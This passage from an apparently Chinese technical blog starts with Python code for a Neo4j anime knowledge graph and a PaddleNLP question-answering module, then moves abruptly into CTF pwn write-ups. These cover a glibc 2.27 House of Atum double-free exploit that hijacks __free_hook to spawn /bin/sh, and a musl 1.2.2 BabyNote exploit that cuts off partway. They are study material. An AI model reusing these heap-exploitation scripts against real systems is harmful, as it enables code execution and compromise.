MERGE (:制作公司{id:'%d', 名称:"%s"})
""" % (i, author_list[i].replace('\n',''))
graph.run(cql)
if platform_list[i] not in platform_tmp_list:
platform_tmp_list.append(platform_list[i])
cql = """
MERGE (:播放平台{id:'%d', 名称:"%s"})
""" % (i, platform_list[i].replace('\n', ''))
graph.run(cql)

print("step 2 down")

classify_tmp_list = []
seiyuu_tmp_list = []
for i in range(len(name_list)):
classify_list = self.classify_file.readline().split(' ')
seiyuu_list = self.seiyuu_file.readline().split(' ')
role_name_list = self.role_name_file.readline().split(' ')
role_img_list = self.role_img_file.readline().split(' ')
for j in range(len(classify_list)):
if classify_list[j] not in classify_tmp_list:
classify_tmp_list.append(classify_list[j])
cql = """
MERGE (:番剧类型{类型:'%s'})
""" % (classify_list[j].replace('\n',''))
graph.run(cql)
for j in range(len(seiyuu_list)):
if seiyuu_list[j] not in seiyuu_tmp_list:
seiyuu_tmp_list.append(seiyuu_list[j])
cql = """
MERGE (:声优列表{名称:'%s'})
""" % (seiyuu_list[j].replace('\n',''))
graph.run(cql)
for j in range(len(role_name_list)):
if (len(role_name_list)!=len(role_img_list)):
print(role_name_list[j])
print(role_img_list[j])
cql = """
MERGE (:角色列表{名称:'%s',图片:'%s'})
""" % (role_name_list[j].replace('\n',''),role_img_list[j].replace('\n',''))
graph.run(cql)

print("step 3 down")

def createreRationship(self,graph):
self.name_file.seek(0)
self.seiyuu_file.seek(0)
self.platform_file.seek(0)
self.role_name_file.seek(0)
self.role_img_file.seek(0)
self.author_file.seek(0)
self.classify_file.seek(0)

name_list = self.name_file.readlines()
author_list = self.author_file.readlines()
platform_list = self.platform_file.readlines()

for i in range(len(name_list)):
classify_list = self.classify_file.readline().split(' ')
role_name_list = self.role_name_file.readline().split(' ')
role_img_list = self.role_img_file.readline().split(' ')
seiyuu_list = self.seiyuu_file.readline().split(' ')

for j in range(len(classify_list)-1):
cql = """
MATCH (a:番剧名称{id:'%d', 名称:"%s"}),
(b:番剧类型{类型:'%s'})
MERGE (b)-[:类型]->(a)
""" % (i,name_list[i].replace('\n',''),
classify_list[j].replace('\n',''))
graph.run(cql)

for j in range(len(role_name_list)):
cql = """
MATCH (a:番剧名称{id:'%d', 名称:"%s"}),
(b:角色列表{名称:'%s',图片:'%s'})
MERGE (b)-[:属于]->(a)
""" % (i,name_list[i].replace('\n',''),
role_name_list[j].replace('\n',''),
role_img_list[j].replace('\n',''))
graph.run(cql)

cql = """
MATCH (a:声优列表{名称:"%s"}),
(b:角色列表{名称:'%s',图片:'%s'})
MERGE (a)-[:配音]->(b)
""" % (seiyuu_list[j].replace('\n', ''),
role_name_list[j].replace('\n', ''),
role_img_list[j].replace('\n', ''))
graph.run(cql)

cql = """
MATCH (a:番剧名称{id:'%d', 名称:"%s"}),
(b:制作公司{名称:"%s"})
MERGE (b)-[:制作]->(a)
""" % (i,name_list[i].replace('\n',''),
author_list[i].replace('\n',''))
graph.run(cql)

cql = """
MATCH (a:番剧名称{id:'%d', 名称:"%s"}),
(b:播放平台{名称:"%s"})
MERGE (b)-[:播放]->(a)
""" % (i,name_list[i].replace('\n',''),
platform_list[i].replace('\n',''))
graph.run(cql)

print("step 4 down")

if __name__ == '__main__':
test_graph = Graph("http://127.0.0.1:7474/browser/", auth=("neo4j", "123456789"))
test_graph.run('match(n) detach delete n')
kg = KG()
kg.createEntity(test_graph)
kg.createreRationship(test_graph)

另外对网页后端逻辑进行了修改,使其可以分类查找实体:

基于 PaddleNLP 的知识问答

这次选择做番剧的知识图谱,就是为了尝试一下知识问答

该图谱的关系如下:

  • [制作公司] -> [制作] -> [番剧名称]
  • [角色列表] -> [属于] -> [番剧名称]
  • [播放平台] -> [播放] -> [番剧名称]
  • [番剧类型] -> [类型] -> [番剧名称]
  • [声优列表] -> [类型] -> [角色列表]

PaddleNLP 提供开箱即用的产业级 NLP 预置任务能力,无需训练

  • 一键预测最全的中文任务:覆盖 自然语言理解自然语言生成 两大核心应用
  • 极致的产业级效果:在多个中文场景上提供产业级的 精度预测性能

我的想法比较简单:

  • 用 PaddleNLP 对输入数据进行 “词性分析”,记录第一个名词
  • 对该名词进行模糊匹配,判断该名词属于的实体类型,并获取名词后面的实体名称(记为主实体)
  • 依据主实体类型调用不同的处理函数,然后在对应函数中查找目标的实体类型(记为次实体)
  • 在一直主实体的情况下,次实体类型的判断会得到优化,例如:
    • 主实体为 [番剧名称],那么次实体就只可能为 [番剧类型],[角色列表],[制作公司],[播放平台]
    • 主实体为 [角色列表],那么次实体就只可能为 [声优列表],[番剧名称]
  • 由于本知识图谱的关系比较单一(两个实体之间最多只会存在一种关系),因此我们不需要去分析实体之间的关系,而是通过主实体和次实体来推断出关系类型

效果如下图:

实现该功能的核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from paddlenlp import Taskflow
from fuzzywuzzy import process
from fuzzywuzzy import fuzz
from . models import Neo4j
import re

choices_anime = ["动画", "动画片", "番剧", "动漫","作品"]
choices_role = ["角色", "人物"]
choices_seiyuu = ["声优", "配音"]
choices_author = ["公司", "团队", "作者"]
choices_classify = ["类型", "类别", "分类"]
choices_platform = ["平台", "播放平台"]

choices_anime_do = ["有","是","的"]
choices_seiyuu_do = ["给", "配", "配音"]
choices_author_do = ["制作", "创造", "创作"]
choices_role_do = ["属于","是","的"]

class NER():
db = 0
index = 0

entity_list = []
anime_list = []
author_list = []
classify_list = []
platform_list = []
role_list = []
seiyuu_list = []

entity = ""
anime = ""
author = ""
classify = ""
platform = ""
role = ""
seiyuu = ""

entityRelation = []

def question_answering(self,entity):
self.db = Neo4j()
self.db.connectDB()
tag = Taskflow("pos_tagging")
self.entity = entity
self.entity_list = tag(entity)
self.get_major()
if(self.anime_list or self.author_list or self.classify_list or
self.platform_list or self.role_list or self.seiyuu_list):
self.entityRelation = [self.anime_list, self.author_list,
self.classify_list, self.platform_list,
self.role_list, self.seiyuu_list]
return self.entityRelation

def get_major(self):
for i in range(len(self.entity_list)):
if (self.entity_list[i][1] == 'n'):
if (i+1 < len(self.entity_list)):
if (process.extractOne(self.entity_list[i][0], choices_anime)[1] > 60):
if (len(self.entity_list[i + 2]) != 0):
self.anime = re.findall('《(.*?)》',self.entity)[0]
self.index = i-1
print(self.anime)
self.get_minor_anime()
elif (process.extractOne(self.entity_list[i][0], choices_role)[1] > 60):
self.role = self.entity_list[i + 1][0]
self.index = i-1
print(self.role)
self.get_minor_role()
elif (process.extractOne(self.entity_list[i][0], choices_seiyuu)[1] > 60):
self.seiyuu = self.entity_list[i + 1][0]
self.index = i-1
print(self.seiyuu)
self.get_minor_seiyuu()
elif (process.extractOne(self.entity_list[i][0], choices_author)[1] > 60):
self.author = self.entity_list[i + 1][0]
self.index = i-1
print(self.author)
self.get_minor_author()
break

def get_minor_anime(self):
self.anime_list = self.db.name2anime(self.anime)
for i in range(len(self.entity_list) - self.index):
if (process.extractOne(self.entity_list[i + self.index][0], choices_anime_do)[1] > 60):
for j in range(8):
if (i+self.index+j>=len(self.entity_list)):
break
if (process.extractOne(self.entity_list[i + self.index + j][0], choices_role)[1] > 60):
print("角色")
self.role_list = self.db.anime2role(self.anime)
break
elif (process.extractOne(self.entity_list[i + self.index + j][0], choices_classify)[1] > 60):
print("类型")
self.classify_list = self.db.anime2classify(self.anime)
break
elif (process.extractOne(self.entity_list[i + self.index + j][0], choices_platform)[1] > 60):
print("平台")
self.platform_list = self.db.anime2platform(self.anime)
break
break

def get_minor_role(self):
self.role_list = self.db.name2role(self.role)
for i in range(len(self.entity_list) - self.index):
if (process.extractOne(self.entity_list[i + self.index][0], choices_role_do)[1] > 60):
for j in range(8):
if (i+self.index+j>=len(self.entity_list)):
break
if (process.extractOne(self.entity_list[i + self.index + j][0], choices_anime)[1] > 60):
print("番剧")
self.anime_list = self.db.role2anime(self.role)
break
if (process.extractOne(self.entity_list[i + self.index + j][0], choices_seiyuu)[1] > 60):
print("配音")
self.seiyuu_list = self.db.role2seiyuu(self.role)
break
break

def get_minor_seiyuu(self):
self.seiyuu_list = self.db.name2seiyuu(self.seiyuu)
for i in range(len(self.entity_list) - self.index):
if (process.extractOne(self.entity_list[i + self.index][0], choices_seiyuu_do)[1] > 60):
for j in range(8):
if (i+self.index+j>=len(self.entity_list)):
break
"""
if (process.extractOne(self.entity_list[i + self.index + j][0], choices_anime)[1] > 60):
print("番剧")
self.anime_list = self.db.
break
"""
if (process.extractOne(self.entity_list[i + self.index + j][0], choices_role)[1] > 60):
print("角色")
self.role_list = self.db.seiyuu2role(self.seiyuu)
break
break

def get_minor_author(self):
self.author_list = self.db.name2author(self.author)
for i in range(len(self.entity_list) - self.index):
if (i+self.index>=len(self.entity_list)):
break
if (process.extractOne(self.entity_list[i + self.index][0], choices_anime)[1] > 60):
print("番剧")
self.anime_list = self.db.author2anime(self.author)
break

"""
声优花泽香菜配音过的角色
公司EMTSquared的作品
角色藤户千雪的声优是谁
番剧《普通女高中生要做当地偶像》的角色有哪些
"""

houseofAtum

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
1
2
3
4
5
6
7
8
houseofAtum: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ac40687beee1b00aa55c6dc25d383a41fbfdb0e2, not stripped      
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/atum/houseofAtum'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
if ( index <= 1 && notes[index] )
{
free((void *)notes[index]);
printf("Clear?(y/n):");
readn(key, 2LL);
if ( key[0] == 'y' )
notes[index] = 0LL;
puts("Done!");
}
  • UAF

入侵思路

libc-2.27 没有 key 值限制,可以随便 Double free

将同一个 chunk 释放两次就可以使其 chunk->FD 指向它自己,于是可以轻松泄露出 heap_base

1
2
3
4
5
6
7
8
9
10
11
12
13
add("a"*0x10)
add("b"*0x10)

for i in range(5):
dele(1,'n')

show(1)

p.recvuntil('Content:')
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_addr - 0x2b0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

使用 House Of Atum 连续释放同一个 chunk 8 次可以将其放入 fastbin

1
2
3
4
5
6
7
8
pwndbg> bins
tcachebins
0x50 [ 7]: 0x55e3e486d260 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x55e3e486d250 ◂— 0x0
  • 可以发现这个 chunk 同时存在于 tcache 和 fastbin 中
  • 申请掉 tcache 中的 chunk,并向其中写入 fake chunk addr,实现堆覆盖
1
2
3
4
5
6
7
8
pwndbg> bins
tcachebins
0x50 [ 6]: 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x55bdfed93250 —▸ 0x55bdfed93240 ◂— 0x0

然后搭一搭堆风水,修改 chunk->size 使其进入 unsortedbin,泄露 libc_base

最后劫持一下 free_hook 就可以了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './houseofAtum'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x269F)\n")
#pause()

def cmd(op):
p.sendlineafter("Your choice:",str(op))

def add(data):
cmd(1)
p.sendafter("Input the content:",data)

def edit(index,data):
cmd(2)
p.sendlineafter("Input the idx:",str(index))
p.sendafter("Input the content:",data)

def dele(index,key):
cmd(3)
p.sendlineafter("Input the idx:",str(index))
p.sendlineafter("Clear?(y/n):",key)

def show(index):
cmd(4)
p.sendlineafter("Input the idx:",str(index))

#debug()
add("a"*0x10)
payload = "b"*0x38+p64(0x11)
add(payload)

for i in range(5):
dele(1,'n')

show(1)

p.recvuntil('Content:')
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_addr - 0x2b0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

dele(1,'y')
dele(0,'n')
dele(0,'y')

payload = p64(heap_base+0x250-0x10)
add(payload)
add("c"*0x10)

dele(1,'y')
add(p64(0)+p64(0x91))

for i in range(7):
dele(0,'n')

dele(0,'y')
edit(1,"1"*0x10)
show(1)

p.recvuntil('Content:')
p.recv(0x10)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x3ebca0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

malloc_hook = libc_base + libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
system_libc = libc_base + libc.sym["system"]
success("malloc_hook >> "+hex(malloc_hook))
success("free_hook >> "+hex(free_hook))

edit(1,p64(0)+p64(0x51)+p64(free_hook-0x20))
payload = p64(free_hook-0x10)
add(payload)
dele(0,'y')
payload = '/bin/sh\x00'*2+p64(system_libc)
add(payload)

p.sendlineafter('choice:','3')
p.sendlineafter('idx:','0')

p.interactive()

House Of Atum

在 libc-2.31 之前,tcache 还没有 key 值保护,因此实现 Double free 是很简单的事情

甚至可以把同一个 chunk 连续释放8次,使其进入 fastbin(同时它自身还会存留在 tcache 中)

利用场景:

  • glibc < 2.31(没有 key 检查)
  • double free

glibc2.31下的Tcache检查

对于每一个 tcache 中的 chunk,增加了一个 key 指针,用于指向所属的 tcache 结构体:

1
2
3
4
5
typedef struct tcache_entry
{
struct tcache_entry *next; // 链表指针,对应chunk中的fd字段
struct tcache_perthread_struct *key; // 指向所属的tcache结构体,对应chunk中的bk字段
} tcache_entry;

当 chunk 被放入时会设置 key 指针:

1
2
3
4
5
6
7
8
9
10
11
12
static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);

e->key = tcache; // 设置所属的tcache

e->next = tcache->entries[tc_idx]; // 单链表头插法
tcache->entries[tc_idx] = e;

++(tcache->counts[tc_idx]); // 计数增加
}

ptmalloc 使用了一种更机智的方法,在不影响效率的前提下,完成了对double free的检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
size_t tc_idx = csize2tidx(size);
// 只要tcache不为空,并且这个chunk属于tcache管辖范围,那么这个chunk就有可能已经在tcache中了,所以需要double free检查
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
tcache_entry *e = (tcache_entry *)chunk2mem(p);
/*
如果是double free,那么put时key字段被设置了tcache,就会进入循环被检查出来
如果不是,那么key字段就是用户数据区域,可以视为随机的,只有1/(2^size_t)的可能行进入循环,然后循环发现并不是double free
*/
if (__glibc_unlikely(e->key == tcache)) // 剪枝
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}

if (tcache->counts[tc_idx] < mp_.tcache_count) // 通过检查,放入tcahce中
{
tcache_put(p, tc_idx);
return;
}
}

简单来说:

  • 在 free chunk 被放入 tcache 时,程序会设置一个 key 值
  • 每次程序把 new free chunk 放入 tcache 前,都会检查一下它是否携带有 key 值
  • 注意:key 值原本的位置是用户数据区(可以认为是随机值),有极小的概率会触发检查报错

House Of Atum 利用姿势

House Of Atum 通常在那些限制节点数量的题目中使用(在可利用节点小于7个的情况下将某个 free chunk 放入 fastbin)

  • 以下案例展示把同一个 chunk 连续释放8次的情况:
1
2
3
4
for i in range(7):
dele(1,'n')

dele(1,'n')
  • 连续释放7次后:
1
2
3
4
5
6
7
tcachebins
0x50 [ 7]: 0x564499ecc2b0 ◂— 0x564499ecc2b0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
  • 释放第8次后:
1
2
3
4
5
6
7
8
pwndbg> bin
tcachebins
0x50 [ 7]: 0x564499ecc2b0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x564499ecc2a0 ◂— 0x0
  • 现在该 chunk 同时存在于 tcache 和 fastbin 中
  • 构造好堆风水,覆盖伪造的 chunk->fd
  • 实现堆重叠并修改 chunk presize/size

版本对 House Of Atum 的影响

libc 版本必须小于 2.31

BabyNote 复现

1
2
3
4
5
6
babynote: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader
Usage: ./libc.so [options] [--] pathname [args]
  • version 1.2.2

环境搭建

第一次运行 musl 程序会出现以下报错:

1
2
➜  babynote ldd babynote 
./babynote: error while loading shared libraries: /lib/x86_64-linux-gnu/libc.so: invalid ELF header

接下来需要搭建 musl 环境:

1
2
3
4
5
sudo dpkg -i musl_1.1.21-2_amd64.deb 
sudo apt-get install -y musl musl-dev

sudo dpkg -i musl_1.2.2-4_amd64.deb
sudo apt-get install -y musl musl-dev
  • 如果是 ubuntu 的环境则推荐在 launchpad.net 上下载符号

1678348781333

  • Libc 的调试符号也可以在这个网站上找

1678348917905

  • 下载 musl-dbgsym_1.2.2-4_amd64.ddeb 并安装:
1
sudo dpkg -i musl-dbgsym_1.2.2-4_amd64.ddeb

启动程序,发现可以运行并且还有调试信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> p __malloc_context
$1 = {
secret = 15159866117235981951,
init_done = 1,
mmap_counter = 0,
free_meta_head = 0x0,
avail_meta = 0x55555555a130,
avail_meta_count = 94,
avail_meta_area_count = 0,
meta_alloc_shift = 0,
meta_area_head = 0x55555555a000,
meta_area_tail = 0x55555555a000,
avail_meta_areas = 0x55555555b000 <error: Cannot access memory at address 0x55555555b000>,
active = {0x0, 0x0, 0x0, 0x55555555a0e0, 0x0, 0x0, 0x0, 0x55555555a0b8, 0x0, 0x0, 0x0, 0x55555555a090, 0x0, 0x0, 0x0, 0x55555555a068, 0x0, 0x0, 0x0, 0x55555555a040, 0x0, 0x0, 0x0, 0x55555555a018, 0x0 <repeats 24 times>},
usage_by_class = {0 <repeats 48 times>},
unmap_seq = '\000' <repeats 31 times>,
bounces = '\000' <repeats 31 times>,
seq = 0 '\000',
brk = 93824992260096
}

最后补充一点:

  • 使用 patch 时要把 libc.so 给当成 ld(而不是 libc.so.6
  • 也就是使用如下代码进行 patch:
1
patchelf ./babynote --set-interpreter ./libc.so babynote1
  • patch 后就相当于使用题目提供的 libc.so 来进行调试,可能没有符号信息

漏洞分析

1
2
3
free((void *)chunk->name);                  // UAF
free((void *)chunk->note);
free(chunk);
  • UAF,但我们不能直接控制 free chunk
  • 在 “申请模块” 中,程序的核心结构体被单向链表组织起来
1
2
chunk->pre_chunk = head_chunk;
head_chunk = chunk;
  • 在 “释放模块” 中,被释放的结构体会被脱链,也就利用不了 UAF 堆块了
1
2
3
4
5
6
7
8
9
10
11
12
13
if ( chunk != head_chunk || head_chunk->pre_chunk )
{
if ( chunk->pre_chunk )
{
for ( i = &head_chunk; chunk != *i; i = &(*i)->pre_chunk )
;
*i = chunk->pre_chunk;
}
}
else
{
head_chunk = 0LL;
}
  • 但脱链的过程有一个漏洞:没有对尾节点进行特殊处理(尾节点释放时不会脱链)
  • PS:这段代码比较绕,建议画图理解

入侵思路

musl 1.2.2 采用了:malloc_context->meta_arena->meta->gropu(chunks) 这样的多级结构,并且 free 掉的 chunk 由 bitmap 直接管理(而不是放入某些链表中)

musl 与 libc 的堆结构完全不同:

  • 测试代码如下:
1
2
3
4
add(0x60,"a"*0x58,0x60,"b"*0x58)
add(0xe0,"c"*0xd8,0xe0,"d"*0xd8)
add(0xe0,"e"*0xd8,0xe0,"f"*0xd8)
dele(0xe0,"c"*0xd8)
  • GDB 输出结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> mheap
secret : 0xff7c19f1b291b8fd
mmap_counter : 0x0
avail_meta : 0x55942a780248 (count: 87)
free_meta : 0
avail_meta_area : 0x55942a781000 (count: 0)
meta_area_head : 0x55942a780000
meta_area_tail : 0x55942a780000
active[2] : 0x55942a780130 (mem: 0x5594294dbc30) [0x30]
active[3] : 0x55942a7800e0 (mem: 0x5594294dbfb0) [0x40]
active[6] : 0x55942a780158 (mem: 0x5594294db840) [0x70]
active[7] : 0x55942a7800b8 (mem: 0x5594294dbf20) -> 0x55942a780108 (mem: 0x7f58909b9f40) [0x80]
active[11] : 0x55942a7801d0 (mem: 0x5594294db050) -> 0x55942a780090 (mem: 0x5594294dbe20) [0xf0]
active[15] : 0x55942a7801f8 (mem: 0x5594294db040) [0x1f0]
active[19] : 0x55942a780220 (mem: 0x5594294db030) [0x3f0]
active[23] : 0x55942a780018 (mem: 0x5594294db020) [0x7f0]
  • active[7] 似乎有点特殊,从一开始就有两个 meta
  • active[15] 中的 meta 都只能存放一个 chunk,当第二个 chunk 申请时,musl 就会重新分配一个 meta 使其插入 active[15]active[15] 中原来的 meta 就会因为没有可用的 chunk 而脱链
  • "c"*0xd8 释放时,该 chunk 所属的 meta 会重新插回 active[15],最后结果如上图
  • PS:刚刚释放的 chunk 不会马上被申请,要等到对应 meta 申请完毕以后才会把 free chunk 放回 avail chunk(chunk 的状态用 avail_mask/freed_mask 来表示)

泄露堆地址(程序基地址)的思路如下:

  • 申请 0x28 大小的 note1,此时 info1 note1 物理相邻
  • 利用堆风水使目标结构体为尾节点,释放尾节点(尾节点不会脱链,因此产生 UAF info1 和 UAF note1
  • 申请 0x38 大小的 note2,此时该 note2info2 会占用 UAF node1 的空间
  • 读取 UAF info1 就会把 info2 给当成 note1 并输出,泄露基地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
add("A"*0xc,"a"*0x28)
add("B"*0xc,"b"*0x28)
add("C"*0xc,"c"*0x28)

show("x"*0x28)
show("x"*0x28)
show("x"*0x28)

forget()

add("E"*0xc,"e"*0x28)
add("F"*0xc,"f"*0x28)

dele("E"*0xc)
add("eqqie","x"*0x38)
show("E"*0xc)

p.recvuntil(b"0x28:")
leak_addr = 0
for i in range(8):
leak_addr += int(p.recv(2).decode(), 16) << (i*8)
pro_base = leak_addr - 0x48b0
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

用同样的方法可以泄露 GOT 表上的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
read_got = pro_base + 0x3fa8

add("A"*0x4, "a"*0x4)
forget()
add("B"*0x4, "b"*0x4)
add("C"*0x4, "c"*0x4)

dele("B"*0x4)
for i in range(7):
show("x"*0x28)

fake_note = p64(pro_base+0x4900) + p64(read_got)
fake_note += p64(4) + p64(8)
fake_note += p64(0)
add("C"*0x4, fake_note)
show("b"*4)

p.recvuntil("0x8:")
leak_addr = 0
for i in range(8):
leak_addr += int(p.recv(2).decode(), 16) << (i*8)
libc_base = leak_addr - 0x72740
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

并且用同样的方法来泄露 malloc_context->secret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
for i in range(7):
add("y"*0x4, "y"*0x4)
forget()

heap_secret_ptr = libc_base + 0xad9c0
success("heap_secret_ptr >> "+hex(heap_secret_ptr))

forget()
add("A"*0x4, "a"*0x4)
add("B"*0x4, "b"*0x4)
dele("A"*0x4)
for i in range(7):
show("x"*0x28)

fake_note = p64(heap_base+0x48c0) + p64(heap_secret_ptr)
fake_note += p64(4) + p64(8)
fake_note += p64(0)
add("C"*0x4, fake_note)
show("a"*4)

p.recvuntil("0x8:")
heap_secret = 0
for i in range(8):
heap_secret += int(p.recv(2).decode(), 16) << (i*8)
success("heap_secret >> "+hex(heap_secret))

最后需要伪造 meta_area meta group chunk 并在 chunk 中写入 fake stdout

然后使得假的 meta dequeue 以实现 unlink,与此同时会劫持 stdout_used 写入我们伪造的 fake stdout 地址

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './babynote'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x137E)\n")
#pause()

def cmd(op):
p.sendlineafter("option: ",str(op))

def add(name,note):
cmd(1)
p.sendlineafter("name size: ",str(len(name)))
p.sendafter("name: ",name)
p.sendlineafter("note size: ",str(len(note)))
p.sendafter("note content: ",note)

def show(name):
cmd(2)
p.sendlineafter("name size: ",str(len(name)))
p.sendafter("name: ",name)

def dele(name):
cmd(3)
p.sendlineafter("name size: ",str(len(name)))
p.sendafter("name: ",name)

def forget():
cmd(4)

#debug()
add("A"*0xc,"a"*0x28)
add("B"*0xc,"b"*0x28)
add("C"*0xc,"c"*0x28)

show("x"*0x28)
show("x"*0x28)
show("x"*0x28)

forget()

add("E"*0xc,"e"*0x28)
add("F"*0xc,"f"*0x28)

dele("E"*0xc)
add("eqqie","x"*0x38)
show("E"*0xc)

p.recvuntil(b"0x28:")
leak_addr = 0
for i in range(8):
leak_addr += int(p.recv(2).decode(), 16) << (i*8)
pro_base = leak_addr - 0x48b0
heap_base = pro_base
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

read_got = pro_base + 0x3fa8

add("A"*0x4, "a"*0x4)
forget()
add("B"*0x4, "b"*0x4)
add("C"*0x4, "c"*0x4)

dele("B"*0x4)
for i in range(7):
show("x"*0x28)

fake_note = p64(pro_base+0x4900) + p64(read_got)
fake_note += p64(4) + p64(8)
fake_note += p64(0)
add("C"*0x4, fake_note)
show("b"*4)

p.recvuntil("0x8:")
leak_addr = 0
for i in range(8):
leak_addr += int(p.recv(2).decode(), 16) << (i*8)
libc_base = leak_addr - 0x72740
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

stdout_used = libc_base + 0xad3b0
success("stdout_used >> "+hex(stdout_used))

for i in range(7):
add("y"*0x4, "y"*0x4)
forget()

